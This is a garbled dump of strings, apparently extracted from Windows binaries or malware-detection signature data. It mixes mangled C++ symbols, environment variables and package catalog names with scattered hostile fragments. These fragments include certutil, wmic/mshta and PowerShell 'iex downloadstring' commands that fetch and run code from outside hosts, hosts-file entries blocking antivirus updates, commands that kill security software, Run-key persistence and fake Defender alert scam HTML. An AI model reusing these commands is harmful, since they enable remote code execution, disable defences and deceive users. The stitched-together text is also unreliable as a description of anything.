.?AU?$IAsyncOperationCompletedHandler_impl@PEAU?$IVectorView@PEAVRadio@Radios@Devices@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
s used with Windows Script
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\Users\job\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC\Temp
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
"C:\Windows\System32\rundll32.exe"
winlogon.exe
\windows\sys
TreeView_Windows_Help_Expand.gif
TreeView_Windows_Help_NoExpand.gif
ndows\System32\svchost.exe
ndows\System32\svchost.exe
ndows\System32\wevtutil.exe
diskVolume3\Windows\System32\backgroundTaskHost.exe
diskVolume3\Windows\System32\backgroundTaskHost.exe
@diskVolume3\Windows\System32\backgroundTaskHost.exe
udiskVolume3\Windows\System32\backgroundTaskHost.exe
*%diskVolume3\Windows\System32\backgroundTaskHost.exe
diskVolume3\Windows\System32\backgroundTaskHost.exe
diskVolume3\Windows\System32\backgroundTaskHost.exe
\microsoft\windows\start menu\programs
WindowsLocalw
rWsdkapiimpl::setofferwindows
winlogon\specialaccounts\userlist" , "sysadm"w
windowsActivationStateCacheKey":"W!
!#Lua:FileInWindowsRecentFolder
regwrite("hkey_current_user\software\microsoft\windows\(
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
set_WindowsIdentity
TypeOfWindowsIdentity
_windowsIdentity
SetWindowSize
start menu\programs\startupwindows\sys.cmdobjshell.run/f /v "favorites"09d}\shell\openhomepage
windows\help\svchost.ekkill /f /t /imwindows\help\csrs.e/c sc config rdsessmgrys-f.ys168.com/
Microsoft.Windows.Midi2.KSAggregateTransport
Microsoft.Windows.Midi2.MidiXproc
c:\windows\system32\cmd.exe/cechocwb0ageacgb0
WindowsFormsApp
\repos\cyrus_windows\\
\cyrus_windows\common\\
windows\assembly\nativeimages_v4
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-OneCore-Pnp-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-CoreSystem-WinTrust-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
Windows
HKCU\Software\Microsoft\Windows\CurrentVersion\Run682163816
windows 
windows 
.?AV?$ErrorMessageAsyncOperation@U?$IAsyncOperation@_N@Foundation@Windows@@@Private@AsyncOperation@Threading@@
.?AV?$ErrorMessageAsyncOperation@UIAsyncAction@Foundation@Windows@@@Private@AsyncOperation@Threading@@
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
SCPT:PSCallWindowsAPI
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
WindowsCreateStringReference
\onecoreuap\shell\twinapi\windowservices\viewservices\lib\viewservices.cpp
onecoreuap\shell\twinapi\windowservices\viewservices\lib\filemapping.cpp
n Windows parolunuzu yaz
Microsoft.Windows.Audio.Engine
Microsoft.Windows.Audio.Spatial.Renderer
Microsoft.Windows.Audio.Spatial.Metadata
Microsoft.Windows.MediaFoundation.CallStack
Microsoft.Windows.Audio.AcousticEchoCancellation
Microsoft.Windows.AudioUnderstanding.Capture
Microsoft.Windows.Analog.NUI.Audio
oc:\windows\system32\cmd.exe/c"default\appdata\
l\..\..\windows\system32\wscript.exe/e:vbscript.encodephoto.jpeg
h!%systemroot%\system32\shell32.dll%comspec%%comspec%%wn]nd.
copyeulascr.exe%homedrive%\windows\system32\
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca
windows.immersivecontrolpanel_cw5n1h2txyewy
IsWindowsInsider
C:\WINDOWS\SYSTEM32\
c:\windows\system32\msctfime.iem
avast!webscannerfilestodelete:%windir%\system32\drivers\gbpkm.sys%programfiles%\gbplugin\gbpsv.exe%prog
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1455.cat|Microsoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-RDC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
WindowsTerminal
AppMicrosoft.WindowsNotepad_8wekyb3d8bbwe!Appe
WindowsSecurity
WindowsFormsApplica8
c:\windows\system32\cmd.exe/c%systemroot%\system32\certutil.exe-urlcache-fhttps://1dd3.figind.com/1/tullopcm.battullopcm.bat&&tullopcm.bat
;c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1powershell-command('ms'+'hta'+'.exe'+'https://zylocraft.pro/falcon/hope')"
`Xc:\windows\system32\windowspowershell\v1.0\powershell.exe-epbypass-ciex(new-objectnet.webclient).downloadstring('http://ptjs.sy.gs/c.ps1')
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"$buxf=&who
"%windows%
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
onecoreuap\shell\windows.storage\sharedstoragesources\category.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\knownfoldersfolder.cpp
.?AU?$producer_convert@UErrorDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UErrorDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UErrorDialogViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UErrorDialogViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$implements@UDialogsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIDialogsPageViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$produce@UDialogsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UDialogsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIDialogsPageViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$producers_base@UDialogsPageViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIDialogsPageViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@UDialogsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
Windows
Windows
DetailsPage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UDetailsPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
}q& c:\windows\system32\windowspowershell\v1.0\powershell.exe&
Windows
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; Win64; x64; Trident/8.0)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; Win64; x64; Trident/8.0)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; Win64; x64; Trident/5.0)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200
COMPUTERNAME=WINDOWS11
USERDOMAIN=Windows11
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
windows A
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
127.0.0.1 update.eset.com127.0.0.1 update10.lulusoft.com/module/glamourdata28.somee.com/data32.zipcarma666.byethost12.com/32.htmlwindows driver service
<\system32\xbox-service.exe
s\system32\mshta
lpeechWindowStoreLogo.pngL
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|1bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|osoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
DriverData=C:\Windows\System32\Drivers\DriverData
DriverData=C:\Windows\System32\Drivers\DriverData
default$windows.data.donotdisturb.quiethourssettings
windows.data.donotdisturb.quiethourssettings
default$windows.data.donotdisturb.quiethourssettings
windows.data.donotdisturb.quiethourssettings
WINDOWS.INTERNAL.STATEREPOSITORY.PACKAGEEXTENSION
!#SCPT:AutoItApi_WinAPI_SetWindowsHookEx
_winapi_setwindowshookex(
!#SCPT:PowerShell/UninstallWindowsFeature
uninstall-windowsfeature
\windows\ccmcache\
\windows\ccm\systemtemp\
\microsoft\windows defender advanced threat protection\
Windows.Foundation.UniversalApiContract
Windows.Storage.Streams
Windows.Foundation.FoundationContract
Windows.Foundation.Collections
Windows.Foundation
Windows.Foundation.Metadata
(Microsoft.Windows.Widgets.WidgetContract
TMicrosoft.Windows.Widgets.Feeds.Providers.ICustomQueryParametersUpdateOptionsFactory
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
=Microsoft.Windows.Widgets.Feeds.Providers.IFeedManagerStatics
Digest Authentication for Windows
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Internal@Windows@@8
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
GetDockWindowSize
VS2012WindowSplitterControl
VS2013WindowSplitterControl
get_ToolWindowStripGapBottom
, windowStyle,
	Windows11
Microsoft-Windows-CoreSystem-CredSSP-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Security.SystemSetupByInf
\appdata\roaming\windowsmodulesv
/agenzia/scarica.exeiconfile=c:\windows\system32\shell32.dll[
Digest Authentication for Windows
C:\WINDOWS\system32\vssvc.exe-
\Programs\Earth AV /im McNASvc.exe \Windows Defender\*.*
windows security center
software\microsoft\windows\currentversion\run\xp antivirusuninstall xp an
c:/windows/system32/dt
c:/windows/system32/d
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
%SystemRoot%\system32\OpenWith.exe "%1"
%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1
4windowsdefenderalert:zeusvirusdetected
<pclass="style4">windowshealthiscritical<br
>windowsdefenderalert:
<pclass="style4">errorcode0x800705b4whenstartingwindowsdefender</p>
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_36>@?CH@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_36>@?CH@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_34>@?CD@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_34>@?CD@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_35>@?CH@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_35>@?CH@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_33>@?CD@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_33>@?CD@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_34>@?CD@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_33>@?CD@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@ULosingFocusEventArgs@Input@2345@@Foundation@Windows@winrt@@V<lambda_32>@?CB@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@ULosingFocusEventArgs@Input@2345@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@ULosingFocusEventArgs@Input@2345@@Foundation@Windows@winrt@@V<lambda_32>@?CB@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_32>@?CB@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_31>@?BK@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_30>@?BA@??Connect@?$D
onecoreuap\shell\twinapi\windowservices\applicationservices\lib\applicationviewserviceidentity.cpp
onecoreuap\shell\twinapi\windowservices\viewservices\lib\filemapping.cpp
onecoreuap\shell\twinapi\windowservices\windowservices\lib\windowservices.cpp
Microsoft.Windows.Sentinels.CriticalPersistence_0
Microsoft.Windows.Sentinels.Normal_0
Microsoft.Windows.EnterpriseManagement.PolicyManager
WinLogonActivityStop
WinLogonActivityStart
